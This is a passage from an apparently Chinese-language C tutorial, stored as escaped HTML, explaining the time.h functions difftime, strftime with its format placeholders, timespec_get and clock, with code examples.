class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;time.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etm\u003c/span\u003e \u003cspan class=\"title\"\u003etime_a\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_year=\u003cspan class=\"number\"\u003e82\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mon=\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mday=\u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_hour=\u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_min=\u003cspan class=\"number\"\u003e00\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_sec=\u003cspan class=\"number\"\u003e04\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_isdst=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etm\u003c/span\u003e \u003cspan class=\"title\"\u003etime_b\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_year=\u003cspan class=\"number\"\u003e120\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mon=\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mday=\u003cspan class=\"number\"\u003e15\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_hour=\u003cspan class=\"number\"\u003e16\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_min=\u003cspan class=\"number\"\u003e27\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_sec=\u003cspan class=\"number\"\u003e00\u003c/span\u003e, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_isdst=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e cal_a = mktime(\u0026amp;time_a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e cal_b = mktime(\u0026amp;time_b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e diff = difftime(cal_b, cal_a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e years = diff / \u003cspan class=\"number\"\u003e60\u003c/span\u003e / \u003cspan class=\"number\"\u003e60\u003c/span\u003e / \u003cspan class=\"number\"\u003e24\u003c/span\u003e / \u003cspan class=\"number\"\u003e365.2425\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 输出 1217996816.000000 seconds (38.596783 years) between events\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f seconds (%f years) between events\\n\u0026#34;\u003c/span\u003e, diff, years);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,折算年份时,为了尽量准确,使用了一年的准确长度 365.2425 天,这样可以抵消闰年的影响。\u003c/p\u003e\u003ch3 id=\"strftime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strftime\" class=\"headerlink\" title=\"strftime()\"\u003e\u003c/a\u003estrftime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrftime()\u003c/code\u003e函数用来将 struct tm 结构转换为一个指定格式的字符串,并复制到指定地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrftime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e maxsize, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e tm* timeptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrftime()\u003c/code\u003e接受四个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e第一个参数:目标字符串的指针。\u003c/li\u003e\u003cli\u003e第二个参数:目标字符串可以接受的最大长度。\u003c/li\u003e\u003cli\u003e第三个参数:格式字符串。\u003c/li\u003e\u003cli\u003e第四个参数:struct tm 结构。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果执行成功(转换并复制),\u003ccode\u003estrftime()\u003c/code\u003e函数返回复制的字符串长度;如果执行失败,返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;time.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e128\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e now = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %c: 本地时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strftime(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, \u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, localtime(\u0026amp;now));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s); \u003cspan class=\"comment\"\u003e// Sun Feb 28 22:29:00 2021\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %A: 完整的星期日期的名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %B: 完整的月份名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %d: 月份的天数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strftime(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, \u003cspan class=\"string\"\u003e\u0026#34;%A, %B %d\u0026#34;\u003c/span\u003e, localtime(\u0026amp;now));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s); \u003cspan class=\"comment\"\u003e// Sunday, February 28\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %I: 小时(12小时制)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %M: 分钟\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %S: 秒数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %p: AM 或 PM\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strftime(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, \u003cspan class=\"string\"\u003e\u0026#34;It\u0026#39;s %I:%M:%S %p\u0026#34;\u003c/span\u003e, localtime(\u0026amp;now));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s); \u003cspan class=\"comment\"\u003e// It\u0026#39;s 10:29:00 PM\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %F: ISO 8601 yyyy-mm-dd 格式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %T: ISO 8601 hh:mm:ss 格式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// %z: ISO 8601 时区\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strftime(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, \u003cspan class=\"string\"\u003e\u0026#34;ISO 8601: %FT%T%z\u0026#34;\u003c/span\u003e, localtime(\u0026amp;now));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s); \u003cspan class=\"comment\"\u003e// ISO 8601: 2021-02-28T22:29:00-0800\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是常用的格式占位符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e%%:输出 % 字符。\u003c/li\u003e\u003cli\u003e%a:星期几的简写形式,以当地时间计算。\u003c/li\u003e\u003cli\u003e%A:星期几的完整形式,以当地时间计算。\u003c/li\u003e\u003cli\u003e%b:月份的简写形式,以当地时间计算。\u003c/li\u003e\u003cli\u003e%B:月份的完整形式,以当地时间计算。\u003c/li\u003e\u003cli\u003e%c:日期和时间,使用“%x %X”。\u003c/li\u003e\u003cli\u003e%d:月份的天数(01-31)。\u003c/li\u003e\u003cli\u003e%H:小时,采用24小时制(00-23)。\u003c/li\u003e\u003cli\u003e%I:小时,采用12小时制(00-12)。\u003c/li\u003e\u003cli\u003e%J:一年的第几天(001-366)。\u003c/li\u003e\u003cli\u003e%m:月数(01-12)。\u003c/li\u003e\u003cli\u003e%M:分钟(00~59)。\u003c/li\u003e\u003cli\u003e%P:AM 或 PM。\u003c/li\u003e\u003cli\u003e%R:相当于”%H:%M”。\u003c/li\u003e\u003cli\u003e%S:秒(00-61)。\u003c/li\u003e\u003cli\u003e%U:一年的第几星期(00-53),以星期日为第1天。\u003c/li\u003e\u003cli\u003e%w:一星期的第几天,星期日为第0天。\u003c/li\u003e\u003cli\u003e%W:一年的第几星期(00-53),以星期一为第1天。\u003c/li\u003e\u003cli\u003e%x:完整的年月日的日期,以当地时间计算。\u003c/li\u003e\u003cli\u003e%X:完整的时分秒的时间,以当地时间计算。\u003c/li\u003e\u003cli\u003e%y:两位数年份(00-99)。\u003c/li\u003e\u003cli\u003e%Y:四位数年份(例如 1984)。\u003c/li\u003e\u003cli\u003e%Z:时区的简写。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"timespec-get\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#timespec-get\" class=\"headerlink\" title=\"timespec_get()\"\u003e\u003c/a\u003etimespec_get()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etimespec_get()\u003c/code\u003e用来将当前时间转成距离时间纪元的纳秒数(十亿分之一秒)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etimespec_get\u003c/span\u003e \u003cspan class=\"params\"\u003e( \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e timespec* ts, \u003cspan class=\"type\"\u003eint\u003c/span\u003e base )\u003c/span\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etimespec_get()\u003c/code\u003e接受两个参数。\u003c/p\u003e\u003cp\u003e第一个参数是 struct timespec 结构指针,用来保存转换后的时间信息。struct timespec 的结构如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etimespec\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e tv_sec; \u003cspan class=\"comment\"\u003e// 秒数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e tv_nsec; \u003cspan class=\"comment\"\u003e// 纳秒\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e第二个参数是一个整数,表示时间计算的起点。标准只给出了宏 TIME_UTC 这一个可能的值,表示返回距离时间纪元的秒数。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etimespec\u003c/span\u003e \u003cspan class=\"title\"\u003ets\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimespec_get(\u0026amp;ts, TIME_UTC);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1614581530 s, 806325800 ns\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ld s, %ld ns\\n\u0026#34;\u003c/span\u003e, ts.tv_sec, ts.tv_nsec);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e float_time = ts.tv_sec + ts.tv_nsec/\u003cspan class=\"number\"\u003e1000000000.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1614581530.806326 seconds since epoch\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f seconds since epoch\\n\u0026#34;\u003c/span\u003e, float_time);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"clock\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#clock\" class=\"headerlink\" title=\"clock()\"\u003e\u003c/a\u003eclock()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eclock()\u003c/code\u003e函数返回从程序开始执行到当前的 CPU 时钟周期。一个时钟周期等于 CPU 频率的倒数,比如 CPU 的频率如果是 1G Hz,表示1秒内时钟信号可以变化 10^9 次,那么每个时钟周期就是 10^-9 秒。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eclock_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003eclock\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eclock()\u003c/code\u003e函数返回一个数字,表示从程序开始到现在的 CPU 时钟周期的次数。这个值的类型是 clock_t,一般是 long int 类型。\u003c/p\u003e\u003cp\u003e为了把这个值转换为秒,应该把它除以常量\u003ccode\u003eCLOCKS_PER_SEC\u003c/code\u003e(每秒的时钟周期),这个常量也由\u003ccode\u003etime.h\u003c/code\u003e定义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;CPU time: %f\\n\u0026#34;\u003c/span\u003e, clock() / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)CLOCKS_PER_SEC);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例可以输出程序从开始到运行到这一行所花费的秒数。\u003c/p\u003e\u003cp\u003e如果计算机无法提供 CPU 